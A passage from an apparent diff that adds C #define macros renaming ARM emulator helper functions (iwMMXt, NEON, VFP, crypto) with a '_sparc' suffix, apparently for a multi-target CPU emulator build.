gen_helper_crypto_sha256h2 gen_helper_crypto_sha256h2_sparc +#define gen_helper_crypto_sha256su0 gen_helper_crypto_sha256su0_sparc +#define gen_helper_crypto_sha256su1 gen_helper_crypto_sha256su1_sparc +#define gen_helper_double_saturate gen_helper_double_saturate_sparc +#define gen_helper_exception_internal gen_helper_exception_internal_sparc +#define gen_helper_exception_with_syndrome gen_helper_exception_with_syndrome_sparc +#define gen_helper_get_cp_reg gen_helper_get_cp_reg_sparc +#define gen_helper_get_cp_reg64 gen_helper_get_cp_reg64_sparc +#define gen_helper_get_r13_banked gen_helper_get_r13_banked_sparc +#define gen_helper_get_user_reg gen_helper_get_user_reg_sparc +#define gen_helper_iwmmxt_addcb gen_helper_iwmmxt_addcb_sparc +#define gen_helper_iwmmxt_addcl gen_helper_iwmmxt_addcl_sparc +#define gen_helper_iwmmxt_addcw gen_helper_iwmmxt_addcw_sparc +#define gen_helper_iwmmxt_addnb gen_helper_iwmmxt_addnb_sparc +#define gen_helper_iwmmxt_addnl gen_helper_iwmmxt_addnl_sparc +#define gen_helper_iwmmxt_addnw gen_helper_iwmmxt_addnw_sparc +#define gen_helper_iwmmxt_addsb gen_helper_iwmmxt_addsb_sparc +#define gen_helper_iwmmxt_addsl gen_helper_iwmmxt_addsl_sparc +#define gen_helper_iwmmxt_addsw gen_helper_iwmmxt_addsw_sparc +#define gen_helper_iwmmxt_addub gen_helper_iwmmxt_addub_sparc +#define gen_helper_iwmmxt_addul gen_helper_iwmmxt_addul_sparc +#define gen_helper_iwmmxt_adduw gen_helper_iwmmxt_adduw_sparc +#define gen_helper_iwmmxt_align gen_helper_iwmmxt_align_sparc +#define gen_helper_iwmmxt_avgb0 gen_helper_iwmmxt_avgb0_sparc +#define gen_helper_iwmmxt_avgb1 gen_helper_iwmmxt_avgb1_sparc +#define gen_helper_iwmmxt_avgw0 gen_helper_iwmmxt_avgw0_sparc +#define gen_helper_iwmmxt_avgw1 gen_helper_iwmmxt_avgw1_sparc +#define gen_helper_iwmmxt_bcstb gen_helper_iwmmxt_bcstb_sparc +#define gen_helper_iwmmxt_bcstl gen_helper_iwmmxt_bcstl_sparc +#define gen_helper_iwmmxt_bcstw gen_helper_iwmmxt_bcstw_sparc +#define gen_helper_iwmmxt_cmpeqb gen_helper_iwmmxt_cmpeqb_sparc +#define gen_helper_iwmmxt_cmpeql gen_helper_iwmmxt_cmpeql_sparc +#define gen_helper_iwmmxt_cmpeqw gen_helper_iwmmxt_cmpeqw_sparc +#define gen_helper_iwmmxt_cmpgtsb gen_helper_iwmmxt_cmpgtsb_sparc +#define gen_helper_iwmmxt_cmpgtsl gen_helper_iwmmxt_cmpgtsl_sparc +#define gen_helper_iwmmxt_cmpgtsw gen_helper_iwmmxt_cmpgtsw_sparc +#define gen_helper_iwmmxt_cmpgtub gen_helper_iwmmxt_cmpgtub_sparc +#define gen_helper_iwmmxt_cmpgtul gen_helper_iwmmxt_cmpgtul_sparc +#define gen_helper_iwmmxt_cmpgtuw gen_helper_iwmmxt_cmpgtuw_sparc +#define gen_helper_iwmmxt_insr gen_helper_iwmmxt_insr_sparc +#define gen_helper_iwmmxt_macsw gen_helper_iwmmxt_macsw_sparc +#define gen_helper_iwmmxt_macuw gen_helper_iwmmxt_macuw_sparc +#define gen_helper_iwmmxt_maddsq gen_helper_iwmmxt_maddsq_sparc +#define gen_helper_iwmmxt_madduq gen_helper_iwmmxt_madduq_sparc +#define gen_helper_iwmmxt_maxsb gen_helper_iwmmxt_maxsb_sparc +#define gen_helper_iwmmxt_maxsl gen_helper_iwmmxt_maxsl_sparc +#define gen_helper_iwmmxt_maxsw gen_helper_iwmmxt_maxsw_sparc +#define gen_helper_iwmmxt_maxub gen_helper_iwmmxt_maxub_sparc +#define gen_helper_iwmmxt_maxul gen_helper_iwmmxt_maxul_sparc +#define gen_helper_iwmmxt_maxuw gen_helper_iwmmxt_maxuw_sparc +#define gen_helper_iwmmxt_minsb gen_helper_iwmmxt_minsb_sparc +#define gen_helper_iwmmxt_minsl gen_helper_iwmmxt_minsl_sparc +#define gen_helper_iwmmxt_minsw gen_helper_iwmmxt_minsw_sparc +#define gen_helper_iwmmxt_minub gen_helper_iwmmxt_minub_sparc +#define gen_helper_iwmmxt_minul gen_helper_iwmmxt_minul_sparc +#define gen_helper_iwmmxt_minuw gen_helper_iwmmxt_minuw_sparc +#define gen_helper_iwmmxt_msbb gen_helper_iwmmxt_msbb_sparc +#define gen_helper_iwmmxt_msbl gen_helper_iwmmxt_msbl_sparc +#define gen_helper_iwmmxt_msbw gen_helper_iwmmxt_msbw_sparc +#define gen_helper_iwmmxt_muladdsl gen_helper_iwmmxt_muladdsl_sparc +#define gen_helper_iwmmxt_muladdsw gen_helper_iwmmxt_muladdsw_sparc +#define gen_helper_iwmmxt_muladdswl gen_helper_iwmmxt_muladdswl_sparc +#define gen_helper_iwmmxt_mulshw gen_helper_iwmmxt_mulshw_sparc +#define gen_helper_iwmmxt_mulslw gen_helper_iwmmxt_mulslw_sparc +#define gen_helper_iwmmxt_muluhw gen_helper_iwmmxt_muluhw_sparc +#define gen_helper_iwmmxt_mululw gen_helper_iwmmxt_mululw_sparc +#define gen_helper_iwmmxt_packsl gen_helper_iwmmxt_packsl_sparc +#define gen_helper_iwmmxt_packsq gen_helper_iwmmxt_packsq_sparc +#define gen_helper_iwmmxt_packsw gen_helper_iwmmxt_packsw_sparc +#define gen_helper_iwmmxt_packul gen_helper_iwmmxt_packul_sparc +#define gen_helper_iwmmxt_packuq gen_helper_iwmmxt_packuq_sparc +#define gen_helper_iwmmxt_packuw gen_helper_iwmmxt_packuw_sparc +#define gen_helper_iwmmxt_rorl gen_helper_iwmmxt_rorl_sparc +#define gen_helper_iwmmxt_rorq gen_helper_iwmmxt_rorq_sparc +#define gen_helper_iwmmxt_rorw gen_helper_iwmmxt_rorw_sparc +#define gen_helper_iwmmxt_sadb gen_helper_iwmmxt_sadb_sparc +#define gen_helper_iwmmxt_sadw gen_helper_iwmmxt_sadw_sparc +#define gen_helper_iwmmxt_setpsr_nz gen_helper_iwmmxt_setpsr_nz_sparc +#define gen_helper_iwmmxt_shufh gen_helper_iwmmxt_shufh_sparc +#define gen_helper_iwmmxt_slll gen_helper_iwmmxt_slll_sparc +#define gen_helper_iwmmxt_sllq gen_helper_iwmmxt_sllq_sparc +#define gen_helper_iwmmxt_sllw gen_helper_iwmmxt_sllw_sparc +#define gen_helper_iwmmxt_sral gen_helper_iwmmxt_sral_sparc +#define gen_helper_iwmmxt_sraq gen_helper_iwmmxt_sraq_sparc +#define gen_helper_iwmmxt_sraw gen_helper_iwmmxt_sraw_sparc +#define gen_helper_iwmmxt_srll gen_helper_iwmmxt_srll_sparc +#define gen_helper_iwmmxt_srlq gen_helper_iwmmxt_srlq_sparc +#define gen_helper_iwmmxt_srlw gen_helper_iwmmxt_srlw_sparc +#define gen_helper_iwmmxt_subnb gen_helper_iwmmxt_subnb_sparc +#define gen_helper_iwmmxt_subnl gen_helper_iwmmxt_subnl_sparc +#define gen_helper_iwmmxt_subnw gen_helper_iwmmxt_subnw_sparc +#define gen_helper_iwmmxt_subsb gen_helper_iwmmxt_subsb_sparc +#define gen_helper_iwmmxt_subsl gen_helper_iwmmxt_subsl_sparc +#define gen_helper_iwmmxt_subsw gen_helper_iwmmxt_subsw_sparc +#define gen_helper_iwmmxt_subub gen_helper_iwmmxt_subub_sparc +#define gen_helper_iwmmxt_subul gen_helper_iwmmxt_subul_sparc +#define gen_helper_iwmmxt_subuw gen_helper_iwmmxt_subuw_sparc +#define gen_helper_iwmmxt_unpackhb gen_helper_iwmmxt_unpackhb_sparc +#define gen_helper_iwmmxt_unpackhl gen_helper_iwmmxt_unpackhl_sparc +#define gen_helper_iwmmxt_unpackhsb gen_helper_iwmmxt_unpackhsb_sparc +#define gen_helper_iwmmxt_unpackhsl gen_helper_iwmmxt_unpackhsl_sparc +#define gen_helper_iwmmxt_unpackhsw gen_helper_iwmmxt_unpackhsw_sparc +#define gen_helper_iwmmxt_unpackhub gen_helper_iwmmxt_unpackhub_sparc +#define gen_helper_iwmmxt_unpackhul gen_helper_iwmmxt_unpackhul_sparc +#define gen_helper_iwmmxt_unpackhuw gen_helper_iwmmxt_unpackhuw_sparc +#define gen_helper_iwmmxt_unpackhw gen_helper_iwmmxt_unpackhw_sparc +#define gen_helper_iwmmxt_unpacklb gen_helper_iwmmxt_unpacklb_sparc +#define gen_helper_iwmmxt_unpackll gen_helper_iwmmxt_unpackll_sparc +#define gen_helper_iwmmxt_unpacklsb gen_helper_iwmmxt_unpacklsb_sparc +#define gen_helper_iwmmxt_unpacklsl gen_helper_iwmmxt_unpacklsl_sparc +#define gen_helper_iwmmxt_unpacklsw gen_helper_iwmmxt_unpacklsw_sparc +#define gen_helper_iwmmxt_unpacklub gen_helper_iwmmxt_unpacklub_sparc +#define gen_helper_iwmmxt_unpacklul gen_helper_iwmmxt_unpacklul_sparc +#define gen_helper_iwmmxt_unpackluw gen_helper_iwmmxt_unpackluw_sparc +#define gen_helper_iwmmxt_unpacklw gen_helper_iwmmxt_unpacklw_sparc +#define gen_helper_neon_abd_f32 gen_helper_neon_abd_f32_sparc +#define gen_helper_neon_abdl_s16 gen_helper_neon_abdl_s16_sparc +#define gen_helper_neon_abdl_s32 gen_helper_neon_abdl_s32_sparc +#define gen_helper_neon_abdl_s64 gen_helper_neon_abdl_s64_sparc +#define gen_helper_neon_abdl_u16 gen_helper_neon_abdl_u16_sparc +#define gen_helper_neon_abdl_u32 gen_helper_neon_abdl_u32_sparc +#define gen_helper_neon_abdl_u64 gen_helper_neon_abdl_u64_sparc +#define gen_helper_neon_abd_s16 gen_helper_neon_abd_s16_sparc +#define gen_helper_neon_abd_s32 gen_helper_neon_abd_s32_sparc +#define gen_helper_neon_abd_s8 gen_helper_neon_abd_s8_sparc +#define gen_helper_neon_abd_u16 gen_helper_neon_abd_u16_sparc +#define gen_helper_neon_abd_u32 gen_helper_neon_abd_u32_sparc +#define gen_helper_neon_abd_u8 gen_helper_neon_abd_u8_sparc +#define gen_helper_neon_abs_s16 gen_helper_neon_abs_s16_sparc +#define gen_helper_neon_abs_s8 gen_helper_neon_abs_s8_sparc +#define gen_helper_neon_acge_f32 gen_helper_neon_acge_f32_sparc +#define gen_helper_neon_acgt_f32 gen_helper_neon_acgt_f32_sparc +#define gen_helper_neon_addl_saturate_s32 gen_helper_neon_addl_saturate_s32_sparc +#define gen_helper_neon_addl_saturate_s64 gen_helper_neon_addl_saturate_s64_sparc +#define gen_helper_neon_addl_u16 gen_helper_neon_addl_u16_sparc +#define gen_helper_neon_addl_u32 gen_helper_neon_addl_u32_sparc +#define gen_helper_neon_add_u16 gen_helper_neon_add_u16_sparc +#define gen_helper_neon_add_u8 gen_helper_neon_add_u8_sparc +#define gen_helper_neon_ceq_f32 gen_helper_neon_ceq_f32_sparc +#define gen_helper_neon_ceq_u16 gen_helper_neon_ceq_u16_sparc +#define gen_helper_neon_ceq_u32 gen_helper_neon_ceq_u32_sparc +#define gen_helper_neon_ceq_u8 gen_helper_neon_ceq_u8_sparc +#define gen_helper_neon_cge_f32 gen_helper_neon_cge_f32_sparc +#define gen_helper_neon_cge_s16 gen_helper_neon_cge_s16_sparc +#define gen_helper_neon_cge_s32 gen_helper_neon_cge_s32_sparc +#define gen_helper_neon_cge_s8 gen_helper_neon_cge_s8_sparc +#define gen_helper_neon_cge_u16 gen_helper_neon_cge_u16_sparc +#define gen_helper_neon_cge_u32 gen_helper_neon_cge_u32_sparc +#define gen_helper_neon_cge_u8 gen_helper_neon_cge_u8_sparc +#define gen_helper_neon_cgt_f32 gen_helper_neon_cgt_f32_sparc +#define gen_helper_neon_cgt_s16 gen_helper_neon_cgt_s16_sparc +#define gen_helper_neon_cgt_s32 gen_helper_neon_cgt_s32_sparc +#define gen_helper_neon_cgt_s8 gen_helper_neon_cgt_s8_sparc +#define gen_helper_neon_cgt_u16 gen_helper_neon_cgt_u16_sparc +#define gen_helper_neon_cgt_u32 gen_helper_neon_cgt_u32_sparc +#define gen_helper_neon_cgt_u8 gen_helper_neon_cgt_u8_sparc +#define gen_helper_neon_cls_s16 gen_helper_neon_cls_s16_sparc +#define gen_helper_neon_cls_s32 gen_helper_neon_cls_s32_sparc +#define gen_helper_neon_cls_s8 gen_helper_neon_cls_s8_sparc +#define gen_helper_neon_clz_u16 gen_helper_neon_clz_u16_sparc +#define gen_helper_neon_clz_u8 gen_helper_neon_clz_u8_sparc +#define gen_helper_neon_cnt_u8 gen_helper_neon_cnt_u8_sparc +#define gen_helper_neon_fcvt_f16_to_f32 gen_helper_neon_fcvt_f16_to_f32_sparc +#define gen_helper_neon_fcvt_f32_to_f16 gen_helper_neon_fcvt_f32_to_f16_sparc +#define gen_helper_neon_hadd_s16 gen_helper_neon_hadd_s16_sparc +#define gen_helper_neon_hadd_s32 gen_helper_neon_hadd_s32_sparc +#define gen_helper_neon_hadd_s8 gen_helper_neon_hadd_s8_sparc +#define gen_helper_neon_hadd_u16 gen_helper_neon_hadd_u16_sparc +#define gen_helper_neon_hadd_u32 gen_helper_neon_hadd_u32_sparc +#define gen_helper_neon_hadd_u8 gen_helper_neon_hadd_u8_sparc +#define gen_helper_neon_hsub_s16 gen_helper_neon_hsub_s16_sparc +#define gen_helper_neon_hsub_s32 gen_helper_neon_hsub_s32_sparc +#define gen_helper_neon_hsub_s8 gen_helper_neon_hsub_s8_sparc +#define gen_helper_neon_hsub_u16 gen_helper_neon_hsub_u16_sparc +#define gen_helper_neon_hsub_u32 gen_helper_neon_hsub_u32_sparc +#define gen_helper_neon_hsub_u8 gen_helper_neon_hsub_u8_sparc +#define gen_helper_neon_max_s16 gen_helper_neon_max_s16_sparc +#define gen_helper_neon_max_s32 gen_helper_neon_max_s32_sparc +#define gen_helper_neon_max_s8 gen_helper_neon_max_s8_sparc +#define gen_helper_neon_max_u16 gen_helper_neon_max_u16_sparc +#define gen_helper_neon_max_u32 gen_helper_neon_max_u32_sparc +#define gen_helper_neon_max_u8 gen_helper_neon_max_u8_sparc +#define gen_helper_neon_min_s16 gen_helper_neon_min_s16_sparc +#define gen_helper_neon_min_s32 gen_helper_neon_min_s32_sparc +#define gen_helper_neon_min_s8 gen_helper_neon_min_s8_sparc +#define gen_helper_neon_min_u16 gen_helper_neon_min_u16_sparc +#define gen_helper_neon_min_u32 gen_helper_neon_min_u32_sparc +#define gen_helper_neon_min_u8 gen_helper_neon_min_u8_sparc +#define gen_helper_neon_mull_p8 gen_helper_neon_mull_p8_sparc +#define gen_helper_neon_mull_s16 gen_helper_neon_mull_s16_sparc +#define gen_helper_neon_mull_s8 gen_helper_neon_mull_s8_sparc +#define gen_helper_neon_mull_u16 gen_helper_neon_mull_u16_sparc +#define gen_helper_neon_mull_u8 gen_helper_neon_mull_u8_sparc +#define gen_helper_neon_mul_p8 gen_helper_neon_mul_p8_sparc +#define gen_helper_neon_mul_u16 gen_helper_neon_mul_u16_sparc +#define gen_helper_neon_mul_u8 gen_helper_neon_mul_u8_sparc +#define gen_helper_neon_narrow_high_u16 gen_helper_neon_narrow_high_u16_sparc +#define gen_helper_neon_narrow_high_u8 gen_helper_neon_narrow_high_u8_sparc +#define gen_helper_neon_narrow_round_high_u16 gen_helper_neon_narrow_round_high_u16_sparc +#define gen_helper_neon_narrow_round_high_u8 gen_helper_neon_narrow_round_high_u8_sparc +#define gen_helper_neon_narrow_sat_s16 gen_helper_neon_narrow_sat_s16_sparc +#define gen_helper_neon_narrow_sat_s32 gen_helper_neon_narrow_sat_s32_sparc +#define gen_helper_neon_narrow_sat_s8 gen_helper_neon_narrow_sat_s8_sparc +#define gen_helper_neon_narrow_sat_u16 gen_helper_neon_narrow_sat_u16_sparc +#define gen_helper_neon_narrow_sat_u32 gen_helper_neon_narrow_sat_u32_sparc +#define gen_helper_neon_narrow_sat_u8 gen_helper_neon_narrow_sat_u8_sparc +#define gen_helper_neon_narrow_u16 gen_helper_neon_narrow_u16_sparc +#define gen_helper_neon_narrow_u8 gen_helper_neon_narrow_u8_sparc +#define gen_helper_neon_negl_u16 gen_helper_neon_negl_u16_sparc +#define gen_helper_neon_negl_u32 gen_helper_neon_negl_u32_sparc +#define gen_helper_neon_paddl_u16 gen_helper_neon_paddl_u16_sparc +#define gen_helper_neon_paddl_u32 gen_helper_neon_paddl_u32_sparc +#define gen_helper_neon_padd_u16 gen_helper_neon_padd_u16_sparc +#define gen_helper_neon_padd_u8 gen_helper_neon_padd_u8_sparc +#define gen_helper_neon_pmax_s16 gen_helper_neon_pmax_s16_sparc +#define gen_helper_neon_pmax_s8 gen_helper_neon_pmax_s8_sparc +#define gen_helper_neon_pmax_u16 gen_helper_neon_pmax_u16_sparc +#define gen_helper_neon_pmax_u8 gen_helper_neon_pmax_u8_sparc +#define gen_helper_neon_pmin_s16 gen_helper_neon_pmin_s16_sparc +#define gen_helper_neon_pmin_s8 gen_helper_neon_pmin_s8_sparc +#define gen_helper_neon_pmin_u16 gen_helper_neon_pmin_u16_sparc +#define gen_helper_neon_pmin_u8 gen_helper_neon_pmin_u8_sparc +#define gen_helper_neon_pmull_64_hi gen_helper_neon_pmull_64_hi_sparc +#define gen_helper_neon_pmull_64_lo gen_helper_neon_pmull_64_lo_sparc +#define gen_helper_neon_qabs_s16 gen_helper_neon_qabs_s16_sparc +#define gen_helper_neon_qabs_s32 gen_helper_neon_qabs_s32_sparc +#define gen_helper_neon_qabs_s8 gen_helper_neon_qabs_s8_sparc +#define gen_helper_neon_qadd_s16 gen_helper_neon_qadd_s16_sparc +#define gen_helper_neon_qadd_s32 gen_helper_neon_qadd_s32_sparc +#define gen_helper_neon_qadd_s64 gen_helper_neon_qadd_s64_sparc +#define gen_helper_neon_qadd_s8 gen_helper_neon_qadd_s8_sparc +#define gen_helper_neon_qadd_u16 gen_helper_neon_qadd_u16_sparc +#define gen_helper_neon_qadd_u32 gen_helper_neon_qadd_u32_sparc +#define gen_helper_neon_qadd_u64 gen_helper_neon_qadd_u64_sparc +#define gen_helper_neon_qadd_u8 gen_helper_neon_qadd_u8_sparc +#define gen_helper_neon_qdmulh_s16 gen_helper_neon_qdmulh_s16_sparc +#define gen_helper_neon_qdmulh_s32 gen_helper_neon_qdmulh_s32_sparc +#define gen_helper_neon_qneg_s16 gen_helper_neon_qneg_s16_sparc +#define gen_helper_neon_qneg_s32 gen_helper_neon_qneg_s32_sparc +#define gen_helper_neon_qneg_s8 gen_helper_neon_qneg_s8_sparc +#define gen_helper_neon_qrdmulh_s16 gen_helper_neon_qrdmulh_s16_sparc +#define gen_helper_neon_qrdmulh_s32 gen_helper_neon_qrdmulh_s32_sparc +#define gen_helper_neon_qrshl_s16 gen_helper_neon_qrshl_s16_sparc +#define gen_helper_neon_qrshl_s32 gen_helper_neon_qrshl_s32_sparc +#define gen_helper_neon_qrshl_s64 gen_helper_neon_qrshl_s64_sparc +#define gen_helper_neon_qrshl_s8 gen_helper_neon_qrshl_s8_sparc +#define gen_helper_neon_qrshl_u16 gen_helper_neon_qrshl_u16_sparc +#define gen_helper_neon_qrshl_u32 gen_helper_neon_qrshl_u32_sparc +#define gen_helper_neon_qrshl_u64 gen_helper_neon_qrshl_u64_sparc +#define gen_helper_neon_qrshl_u8 gen_helper_neon_qrshl_u8_sparc +#define gen_helper_neon_qshl_s16 gen_helper_neon_qshl_s16_sparc +#define gen_helper_neon_qshl_s32 gen_helper_neon_qshl_s32_sparc +#define gen_helper_neon_qshl_s64 gen_helper_neon_qshl_s64_sparc +#define gen_helper_neon_qshl_s8 gen_helper_neon_qshl_s8_sparc +#define gen_helper_neon_qshl_u16 gen_helper_neon_qshl_u16_sparc +#define gen_helper_neon_qshl_u32 gen_helper_neon_qshl_u32_sparc +#define gen_helper_neon_qshl_u64 gen_helper_neon_qshl_u64_sparc +#define gen_helper_neon_qshl_u8 gen_helper_neon_qshl_u8_sparc +#define gen_helper_neon_qshlu_s16 gen_helper_neon_qshlu_s16_sparc +#define gen_helper_neon_qshlu_s32 gen_helper_neon_qshlu_s32_sparc +#define gen_helper_neon_qshlu_s64 gen_helper_neon_qshlu_s64_sparc +#define gen_helper_neon_qshlu_s8 gen_helper_neon_qshlu_s8_sparc +#define gen_helper_neon_qsub_s16 gen_helper_neon_qsub_s16_sparc +#define gen_helper_neon_qsub_s32 gen_helper_neon_qsub_s32_sparc +#define gen_helper_neon_qsub_s64 gen_helper_neon_qsub_s64_sparc +#define gen_helper_neon_qsub_s8 gen_helper_neon_qsub_s8_sparc +#define gen_helper_neon_qsub_u16 gen_helper_neon_qsub_u16_sparc +#define gen_helper_neon_qsub_u32 gen_helper_neon_qsub_u32_sparc +#define gen_helper_neon_qsub_u64 gen_helper_neon_qsub_u64_sparc +#define gen_helper_neon_qsub_u8 gen_helper_neon_qsub_u8_sparc +#define gen_helper_neon_qunzip16 gen_helper_neon_qunzip16_sparc +#define gen_helper_neon_qunzip32 gen_helper_neon_qunzip32_sparc +#define gen_helper_neon_qunzip8 gen_helper_neon_qunzip8_sparc +#define gen_helper_neon_qzip16 gen_helper_neon_qzip16_sparc +#define gen_helper_neon_qzip32 gen_helper_neon_qzip32_sparc +#define gen_helper_neon_qzip8 gen_helper_neon_qzip8_sparc +#define gen_helper_neon_rhadd_s16 gen_helper_neon_rhadd_s16_sparc +#define gen_helper_neon_rhadd_s32 gen_helper_neon_rhadd_s32_sparc +#define gen_helper_neon_rhadd_s8 gen_helper_neon_rhadd_s8_sparc +#define gen_helper_neon_rhadd_u16 gen_helper_neon_rhadd_u16_sparc +#define gen_helper_neon_rhadd_u32 gen_helper_neon_rhadd_u32_sparc +#define gen_helper_neon_rhadd_u8 gen_helper_neon_rhadd_u8_sparc +#define gen_helper_neon_rshl_s16 gen_helper_neon_rshl_s16_sparc +#define gen_helper_neon_rshl_s32 gen_helper_neon_rshl_s32_sparc +#define gen_helper_neon_rshl_s64 gen_helper_neon_rshl_s64_sparc +#define gen_helper_neon_rshl_s8 gen_helper_neon_rshl_s8_sparc +#define gen_helper_neon_rshl_u16 gen_helper_neon_rshl_u16_sparc +#define gen_helper_neon_rshl_u32 gen_helper_neon_rshl_u32_sparc +#define gen_helper_neon_rshl_u64 gen_helper_neon_rshl_u64_sparc +#define gen_helper_neon_rshl_u8 gen_helper_neon_rshl_u8_sparc +#define gen_helper_neon_shl_s16 gen_helper_neon_shl_s16_sparc +#define gen_helper_neon_shl_s32 gen_helper_neon_shl_s32_sparc +#define gen_helper_neon_shl_s64 gen_helper_neon_shl_s64_sparc +#define gen_helper_neon_shl_s8 gen_helper_neon_shl_s8_sparc +#define gen_helper_neon_shl_u16 gen_helper_neon_shl_u16_sparc +#define gen_helper_neon_shl_u32 gen_helper_neon_shl_u32_sparc +#define gen_helper_neon_shl_u64 gen_helper_neon_shl_u64_sparc +#define gen_helper_neon_shl_u8 gen_helper_neon_shl_u8_sparc +#define gen_helper_neon_subl_u16 gen_helper_neon_subl_u16_sparc +#define gen_helper_neon_subl_u32 gen_helper_neon_subl_u32_sparc +#define gen_helper_neon_sub_u16 gen_helper_neon_sub_u16_sparc +#define gen_helper_neon_sub_u8 gen_helper_neon_sub_u8_sparc +#define gen_helper_neon_tbl gen_helper_neon_tbl_sparc +#define gen_helper_neon_tst_u16 gen_helper_neon_tst_u16_sparc +#define gen_helper_neon_tst_u32 gen_helper_neon_tst_u32_sparc +#define gen_helper_neon_tst_u8 gen_helper_neon_tst_u8_sparc +#define gen_helper_neon_unarrow_sat16 gen_helper_neon_unarrow_sat16_sparc +#define gen_helper_neon_unarrow_sat32 gen_helper_neon_unarrow_sat32_sparc +#define gen_helper_neon_unarrow_sat8 gen_helper_neon_unarrow_sat8_sparc +#define gen_helper_neon_unzip16 gen_helper_neon_unzip16_sparc +#define gen_helper_neon_unzip8 gen_helper_neon_unzip8_sparc +#define gen_helper_neon_widen_s16 gen_helper_neon_widen_s16_sparc +#define gen_helper_neon_widen_s8 gen_helper_neon_widen_s8_sparc +#define gen_helper_neon_widen_u16 gen_helper_neon_widen_u16_sparc +#define gen_helper_neon_widen_u8 gen_helper_neon_widen_u8_sparc +#define gen_helper_neon_zip16 gen_helper_neon_zip16_sparc +#define gen_helper_neon_zip8 gen_helper_neon_zip8_sparc +#define gen_helper_pre_hvc gen_helper_pre_hvc_sparc +#define gen_helper_pre_smc gen_helper_pre_smc_sparc +#define gen_helper_qadd16 gen_helper_qadd16_sparc +#define gen_helper_qadd8 gen_helper_qadd8_sparc +#define gen_helper_qaddsubx gen_helper_qaddsubx_sparc +#define gen_helper_qsub16 gen_helper_qsub16_sparc +#define gen_helper_qsub8 gen_helper_qsub8_sparc +#define gen_helper_qsubaddx gen_helper_qsubaddx_sparc +#define gen_helper_rbit gen_helper_rbit_sparc +#define gen_helper_recpe_f32 gen_helper_recpe_f32_sparc +#define gen_helper_recpe_u32 gen_helper_recpe_u32_sparc +#define gen_helper_recps_f32 gen_helper_recps_f32_sparc +#define gen_helper_rintd gen_helper_rintd_sparc +#define gen_helper_rintd_exact gen_helper_rintd_exact_sparc +#define gen_helper_rints gen_helper_rints_sparc +#define gen_helper_rints_exact gen_helper_rints_exact_sparc +#define gen_helper_ror_cc gen_helper_ror_cc_sparc +#define gen_helper_rsqrte_f32 gen_helper_rsqrte_f32_sparc +#define gen_helper_rsqrte_u32 gen_helper_rsqrte_u32_sparc +#define gen_helper_rsqrts_f32 gen_helper_rsqrts_f32_sparc +#define gen_helper_sadd16 gen_helper_sadd16_sparc +#define gen_helper_sadd8 gen_helper_sadd8_sparc +#define gen_helper_saddsubx gen_helper_saddsubx_sparc +#define gen_helper_sar_cc gen_helper_sar_cc_sparc +#define gen_helper_sdiv gen_helper_sdiv_sparc +#define gen_helper_sel_flags gen_helper_sel_flags_sparc +#define gen_helper_set_cp_reg gen_helper_set_cp_reg_sparc +#define gen_helper_set_cp_reg64 gen_helper_set_cp_reg64_sparc +#define gen_helper_set_neon_rmode gen_helper_set_neon_rmode_sparc +#define gen_helper_set_r13_banked gen_helper_set_r13_banked_sparc +#define gen_helper_set_rmode gen_helper_set_rmode_sparc +#define gen_helper_set_user_reg gen_helper_set_user_reg_sparc +#define gen_helper_shadd16 gen_helper_shadd16_sparc +#define gen_helper_shadd8 gen_helper_shadd8_sparc +#define gen_helper_shaddsubx gen_helper_shaddsubx_sparc +#define gen_helper_shl_cc gen_helper_shl_cc_sparc +#define gen_helper_shr_cc gen_helper_shr_cc_sparc +#define gen_helper_shsub16 gen_helper_shsub16_sparc +#define gen_helper_shsub8 gen_helper_shsub8_sparc +#define gen_helper_shsubaddx gen_helper_shsubaddx_sparc +#define gen_helper_ssat gen_helper_ssat_sparc +#define gen_helper_ssat16 gen_helper_ssat16_sparc +#define gen_helper_ssub16 gen_helper_ssub16_sparc +#define gen_helper_ssub8 gen_helper_ssub8_sparc +#define gen_helper_ssubaddx gen_helper_ssubaddx_sparc +#define gen_helper_sub_saturate gen_helper_sub_saturate_sparc +#define gen_helper_sxtb16 gen_helper_sxtb16_sparc +#define gen_helper_uadd16 gen_helper_uadd16_sparc +#define gen_helper_uadd8 gen_helper_uadd8_sparc +#define gen_helper_uaddsubx gen_helper_uaddsubx_sparc +#define gen_helper_udiv gen_helper_udiv_sparc +#define gen_helper_uhadd16 gen_helper_uhadd16_sparc +#define gen_helper_uhadd8 gen_helper_uhadd8_sparc +#define gen_helper_uhaddsubx gen_helper_uhaddsubx_sparc +#define gen_helper_uhsub16 gen_helper_uhsub16_sparc +#define gen_helper_uhsub8 gen_helper_uhsub8_sparc +#define gen_helper_uhsubaddx gen_helper_uhsubaddx_sparc +#define gen_helper_uqadd16 gen_helper_uqadd16_sparc +#define gen_helper_uqadd8 gen_helper_uqadd8_sparc +#define gen_helper_uqaddsubx gen_helper_uqaddsubx_sparc +#define gen_helper_uqsub16 gen_helper_uqsub16_sparc +#define gen_helper_uqsub8 gen_helper_uqsub8_sparc +#define gen_helper_uqsubaddx gen_helper_uqsubaddx_sparc +#define gen_helper_usad8 gen_helper_usad8_sparc +#define gen_helper_usat gen_helper_usat_sparc +#define gen_helper_usat16 gen_helper_usat16_sparc +#define gen_helper_usub16 gen_helper_usub16_sparc +#define gen_helper_usub8 gen_helper_usub8_sparc +#define gen_helper_usubaddx gen_helper_usubaddx_sparc +#define gen_helper_uxtb16 gen_helper_uxtb16_sparc +#define gen_helper_v7m_mrs gen_helper_v7m_mrs_sparc +#define gen_helper_v7m_msr gen_helper_v7m_msr_sparc +#define gen_helper_vfp_absd gen_helper_vfp_absd_sparc +#define gen_helper_vfp_abss gen_helper_vfp_abss_sparc +#define gen_helper_vfp_addd gen_helper_vfp_addd_sparc +#define gen_helper_vfp_adds gen_helper_vfp_adds_sparc +#define gen_helper_vfp_cmpd gen_helper_vfp_cmpd_sparc +#define gen_helper_vfp_cmped gen_helper_vfp_cmped_sparc +#define gen_helper_vfp_cmpes gen_helper_vfp_cmpes_sparc +#define gen_helper_vfp_cmps gen_helper_vfp_cmps_sparc +#define gen_helper_vfp_divd gen_helper_vfp_divd_sparc +#define gen_helper_vfp_divs gen_helper_vfp_divs_sparc +#define gen_helper_vfp_fcvtds gen_helper_vfp_fcvtds_sparc +#define gen_helper_vfp_fcvt_f16_to_f32 gen_helper_vfp_fcvt_f16_to_f32_sparc +#define gen_helper_vfp_fcvt_f16_to_f64 gen_helper_vfp_fcvt_f16_to_f64_sparc +#define gen_helper_vfp_fcvt_f32_to_f16 gen_helper_vfp_fcvt_f32_to_f16_sparc +#define gen_helper_vfp_fcvt_f64_to_f16 gen_helper_vfp_fcvt_f64_to_f16_sparc +#define gen_helper_vfp_fcvtsd gen_helper_vfp_fcvtsd_sparc +#define gen_helper_vfp_get_fpscr 